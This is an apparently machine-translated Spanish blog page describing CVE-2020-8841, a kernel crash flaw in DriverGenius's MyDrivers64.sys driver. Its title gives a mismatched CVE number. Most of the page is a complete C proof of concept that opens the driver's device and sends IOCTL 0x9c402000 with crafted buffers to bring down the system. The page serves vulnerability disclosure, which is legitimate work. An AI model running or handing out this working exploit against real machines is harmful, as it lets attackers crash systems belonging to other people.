Explicacion vulnerabilidad CVE 2020 28841 en clases ordenado

vulnerabilidad

CVE-2020-8841 en MyDrivers64.sys en DriverGenius 9.61.3708.3054 permite a los atacantes causar un bloqueo del sistema a través del comando ioctl 0x9c402000 a \\. \ MyDrivers0_0_1.

El controlador del monitor de hardware MyDrivers64.sys de DriverGenius 9.61.3708.3054 permite a los atacantes inyectar un argumento elaborado a través del argumento de un ioctl en el dispositivo "\\. \ MyDrivers0_0_1" con el comando 0x9c402000 y provocar un bloqueo del kernel.

Para explorar esta vulnerabilidad, alguien debe abrir el archivo de dispositivo "\\. \ MyDrivers0_0_1", llamar a una llamada al sistema ioctl en este archivo de dispositivo con el comando 0x9c402000 y una carga útil diseñada como tercer argumento.

//Software download address: http://www.drivergenius.com/

//Software version:DriverGenius 9.61.3708.3054

//Affected Component: MyDrivers64.sys

//poc

#include<stdio.h>

#include <windows.h>

typedef struct _IO_STATUS_BLOCK {

union {

NTSTATUS Status;

PVOID Pointer;

} DUMMYUNIONNAME;

ULONG_PTR Information;

} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* NtDeviceIoControlFile)(

HANDLE FileHandle,

HANDLE Event,

PVOID ApcRoutine,

PVOID ApcContext,

PIO_STATUS_BLOCK IoStatusBlock,

ULONG IoControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength

);

int main() {

char DeviceName[] = "\\\\.\\MyDrivers0_0_1";

long command = 0x9c402000;//please run driver genius!

HANDLE hDriver = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

ULONG dw;

if (hDriver == INVALID_HANDLE_VALUE) {

printf("Open device failed.\n");

system("pause");

return(-1);

}

LPCWSTR nt = L"ntdll";

HMODULE hntdll = GetModuleHandle(nt);

IO_STATUS_BLOCK p = {};

NtDeviceIoControlFile tDeviceIoControl = (NtDeviceIoControlFile)GetProcAddress((HMODULE)hntdll, "NtDeviceIoControlFile");

if (!tDeviceIoControl) {

printf("[-] Fail to resolve ZwDeviceIoControlFile(0x%X)\n", GetLastError());

system("pause");

}

printf("Start poc execution.\n");

LPVOID lpFakeBuffer = malloc(0x20000);

memset(lpFakeBuffer, 0, 0x20000);

LPVOID Address = malloc(0x20000);

memset(Address, 0, 0x20000);

tDeviceIoControl(hDriver, 0, 0, 0, &p, command, lpFakeBuffer, 0, (PVOID)Address, 0);

return 0;

}

Referencias:

https://github.com/datadancer/WinSysVuln/blob/main/DriverGenius-MyDrivers64.md

https://www.cnvd.org.cn/flaw/show/CNVD-2020-53152

Gracias por visitar este sitio, espero que te haya gustado y vuelvas proximamente, compartela en las redes sociales, gracias

Compartir en Facebook Compartir en twitter

Semrush sigue a tu competencia


Fecha actualizacion el 2021-01-05. Fecha publicacion el 2021-01-05. Categoria: vulnerabilidad Autor: Oscar olg Mapa del sitio Fuente: NIST